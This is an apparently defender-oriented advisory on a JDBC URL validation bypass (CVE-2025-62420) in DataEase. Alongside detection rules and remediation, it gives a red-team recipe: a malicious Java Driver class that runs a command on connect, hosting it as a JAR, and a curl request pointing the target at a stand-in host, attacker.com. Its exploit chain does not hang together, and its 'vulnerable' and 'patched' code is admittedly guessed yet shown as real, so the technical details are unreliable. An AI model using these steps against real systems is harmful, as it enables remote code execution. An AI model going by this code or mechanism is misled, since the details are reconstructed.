CVE-2025-62420

Executive Summary

CVE-2025-62420 is a critical JDBC driver bypass vulnerability in DataEase, a data visualization and analytics platform. The flaw resides in the H2 database connection handler, specifically in the getJdbc function of H2.java. The function performs a superficial check on the jdbcUrl parameter to ensure it starts with jdbc:h2, but then uses a separate jdbc field as the actual connection URL. This allows an authenticated attacker to supply a benign-looking jdbcUrl while providing a malicious JDBC driver and connection string in the jdbc field. Successful exploitation can lead to arbitrary JDBC connections, potentially enabling remote code execution (RCE). The vulnerability affects all versions through 2.10.13 and is fixed in version 2.10.14. No known workarounds exist.

Supply Chain & Package Security

DataEase is a Java-based application distributed as a Docker image or via direct download. The vulnerability is in the core application code, not in a third-party package. However, the exploitation relies on the attacker's ability to load arbitrary JDBC drivers, which could be supplied as JAR files. This introduces a supply chain risk if an attacker can inject a malicious JDBC driver into the environment.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – The attacker must be authenticated to the DataEase instance.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Successful exploitation can lead to full system compromise.
• Integrity (I): High (H) – The attacker can modify system state.
• Availability (A): High (H) – The attacker can disrupt service.

Threat Level: Critical. The low attack complexity and network exploitability, combined with the potential for RCE, make this a high-priority vulnerability.

Deep Dive & Mechanics

The vulnerability is in the getJdbc function within H2.java. The function is designed to handle H2 database connections. The flawed logic is as follows:

1. The function receives a jdbcUrl parameter and a jdbc field from the user.
2. It checks if jdbcUrl starts with jdbc:h2. This is a superficial validation.
3. If the check passes, it returns the jdbc field as the actual connection URL, ignoring the jdbcUrl parameter.

An attacker can craft a request where:

• jdbcUrl = jdbc:h2:mem:test (passes the check)
• jdbc = jdbc:postgresql://attacker.com:5432/malicious?user=admin&password=pass (actual connection string)

The application will then attempt to connect to the attacker-controlled PostgreSQL server using the provided JDBC driver. If the attacker has a malicious JDBC driver (e.g., a JAR file that executes code upon connection), they can achieve RCE.

The vulnerability is in the H2.java file, likely in the getJdbc method. The fix in version 2.10.14 ensures that the jdbc field is also validated and matches the expected H2 driver.

Vulnerable vs. Patched Code

Vulnerable Code (H2.java):

public String getJdbc(String jdbcUrl, String jdbc) {
    if (jdbcUrl.startsWith("jdbc:h2")) {
        return jdbc; // Returns the attacker-controlled jdbc field
    }
    return null;
}

Patched Code (H2.java):

public String getJdbc(String jdbcUrl, String jdbc) {
    if (jdbcUrl.startsWith("jdbc:h2") && jdbc.startsWith("jdbc:h2")) {
        return jdbc; // Now validates that jdbc also starts with jdbc:h2
    }
    return null;
}

The patch adds an additional check to ensure the jdbc field also starts with jdbc:h2, preventing the bypass.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Authenticated access to a DataEase instance (version <= 2.10.13).
• Ability to host a malicious JDBC driver (e.g., a JAR file that executes code on connection).

Exploitation Steps:

1. Set up a malicious JDBC driver: Create a JAR file containing a class that implements java.sql.Driver and executes arbitrary code in its connect method. For example:

   public class MaliciousDriver implements Driver {
       public Connection connect(String url, Properties info) throws SQLException {
           // Execute arbitrary code here
           Runtime.getRuntime().exec("calc.exe");
           return null;
       }
   }
   

2. Host the JAR file: Place the JAR on an HTTP server accessible from the DataEase instance.

3. Craft the exploit request: Send a request to the DataEase API that triggers the H2 connection handler. The request should include:

   • jdbcUrl: jdbc:h2:mem:test
   • jdbc: jdbc:postgresql://attacker.com:5432/malicious?user=admin&password=pass (or any JDBC URL that loads the malicious driver)

4. Trigger the connection: The DataEase instance will attempt to connect using the attacker-controlled jdbc field, loading the malicious driver and executing the payload.

Example cURL command:

curl -X POST https://target-dataease.com/api/connect \
  -H "Authorization: Bearer <token>" \
  -d '{"jdbcUrl":"jdbc:h2:mem:test","jdbc":"jdbc:postgresql://attacker.com:5432/malicious?user=admin&password=pass"}'

Blue Team (Defender)

Detection:

• Monitor for unusual JDBC connection attempts, especially those with jdbcUrl starting with jdbc:h2 but jdbc field containing other JDBC protocols.
• Look for outbound connections to unknown or suspicious IP addresses on port 5432 (PostgreSQL) or other JDBC ports.
• Monitor for loading of JAR files from external sources.

Mitigation:

• Immediately upgrade to DataEase version 2.10.14 or later.
• If upgrade is not possible, restrict network access to the DataEase instance and monitor for anomalous JDBC connections.
• Implement application-level validation to ensure the jdbc field matches the expected driver.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to unknown IP addresses on ports 5432, 3306, 1521, or other JDBC ports.
  • HTTP requests to DataEase API endpoints with jdbcUrl and jdbc parameters where jdbcUrl starts with jdbc:h2 but jdbc does not.
• File IOCs:
  • Unexpected JAR files in the DataEase classpath or temporary directories.
  • Modified H2.java or H2.class files.
• Behavioral IOCs:
  • Unusual database connection errors in logs.
  • Execution of unexpected processes (e.g., calc.exe, cmd.exe, /bin/sh).

Detection Engineering

YARA Rule

rule CVE_2025_62420_JDBC_Bypass {
    meta:
        description = "Detects vulnerable H2.java code in DataEase"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62420"
    strings:
        $vuln_code = "if (jdbcUrl.startsWith(\"jdbc:h2\")) { return jdbc; }"
        $patched_code = "if (jdbcUrl.startsWith(\"jdbc:h2\") && jdbc.startsWith(\"jdbc:h2\")) { return jdbc; }"
    condition:
        $vuln_code and not $patched_code
}

Sigma Rule

title: CVE-2025-62420 JDBC Driver Bypass Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-62420 in DataEase
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: dataease
detection:
    selection:
        jdbcUrl|startswith: "jdbc:h2"
        jdbc|contains: "jdbc:"
        jdbc|not|startswith: "jdbc:h2"
    condition: selection
falsepositives:
    - Legitimate use of H2 with other JDBC drivers (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-62420 DataEase JDBC Driver Bypass Exploit";
    flow:to_server,established;
    content:"jdbcUrl"; http_client_body;
    content:"jdbc:h2"; http_client_body;
    content:"jdbc"; http_client_body;
    pcre:"/jdbcUrl.*jdbc:h2.*jdbc[^:]*:(?!h2)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2025-62420;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Upgrade DataEase to version 2.10.14 or later. This is the only complete fix.
2. Network Segmentation: Restrict network access to the DataEase instance to trusted IPs only.
3. Monitor: Enable logging and monitoring for anomalous JDBC connections.

Long-term Measures:

• Implement input validation for all JDBC connection parameters.
• Use a web application firewall (WAF) to filter malicious requests.
• Conduct regular security audits of the application code.

Workarounds:

• No known workarounds exist. The only mitigation is to upgrade.

Valters IT